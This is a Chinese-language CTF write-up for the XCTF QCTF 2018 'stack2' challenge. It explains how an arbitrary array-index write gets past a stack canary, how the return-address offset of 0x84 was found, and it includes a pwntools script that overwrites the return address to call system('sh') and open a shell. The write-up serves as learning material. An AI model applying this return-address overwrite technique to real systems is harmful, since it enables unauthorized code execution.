—XCTF 4th-QCTF-2018
前言,怎么說呢,這題目還是把我折磨的可以的,我一開始是沒有看到后面的直接狙擊的,只能說呢,
我的不經意間的粗心,破壞了你許多的溫柔
1.氣的我直接檢查保護:

32位程式,開啟了canary保護,
2.ida查看:


首先放的第一幅圖片呢,是我一開始以為可以溢位的,也可以看見我旁邊標注了一個maybeoverflow,
- 但是是不可以的,因為首先由于這里的 i 最大上限100,可能有的人頭鐵就要說了,這里v7可以慢慢溢位去修改i,(和我一樣)
可是這里v13的存盤位置是和i有關的,所以不可能讓你能一直溢位,后面看到了canary,我又去找了找格式化漏洞,沒有找到,最最最離譜的是:
我居然想著去修改tls欄位的canary數值和canary數值(有這個方法,但是這里用不了)
最后看到當我輸入3的時候,那里有一個非常明顯的定向狙擊,
那就很簡單了,去開心的寫exp,確定 偏移量為74

那就v13[0x74]=???v13[0x75]=???
結果就是失敗,為什么呢???
答案是這道題它后面會對堆疊幀做一定調整,也就是ebp上面一位高地址的地方并不是回傳地址,我們這里可以結合著匯編代碼看一下

在沒有運行結束前,ebp下一位標的回傳地址是0xffffd15c,但是我們看看ida里面的代碼:



導致跳的回傳地址是在ebp的高0x10個位元組出,所以我們定向爆破的時候呢,其實狙擊的位置是v13[0x84]的地方向上四個位元組,所以初步的代碼應該是: 不想寫了,懶得改了
有人說服務器上沒有hackhere那個函式的里面的shell執行器bash,所以要用sh,這里就有個小tips;system(‘sh’)也是可以獲得shell的,這樣的 話,我們就可以寫exp了,我們先去找system@plt表的地址:

我們再去找sh的位置:

這里用第一個,因為第一個字串引數是有結束符的:
然后就直接寫exp吧:(exp默寫的別人,因為別人寫的確實漂亮):
from pwn import *
p=process('./stack2')
p.recv()
p.sendline('1')
p.recv()
p.sendline('1')
offset=0x84
def leak(offset,value):
p.recvuntil("5. exit\n")
p.sendline('3')
p.recvuntil("which number to change:\n")
p.sendline(str(offset))
p.recvuntil("new number:\n")
p.sendline(str(value))
system = [0x50, 0x84, 0x04, 0x08]
sh=[0x87,0x89,0x04,0x08]
for i in range(4):
leak(offset+i,system[i])
for i in range(4):
leak(offset+8+i,sh[i])
p.recv()
p.sendline('5')
p.interactive()
3.這道題目得到的啟發:
- 1.首先呢就是每個地址前面標的地址是就是這個地方最后一位低地址的,也就是我畫個圖看看

2.學到了system(‘sh’)是可以直接執行獲得shell的
4.還沒有學到的東西:
- 1.堆疊轉移
- 2.修改stack——fail的got表地址.
- 3.關于修改got表的題目我一道都沒有做過32位還有點準備,64位,沒有準備
- 4.關于直接同時爆破tls欄位的和canary段的數值,
我真垃圾,嗚嗚嗚,居然忘記了32位傳遞引數中間的回傳地址!!!

嘿嘿,放上我的龍!!!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/277794.html
標籤:其他
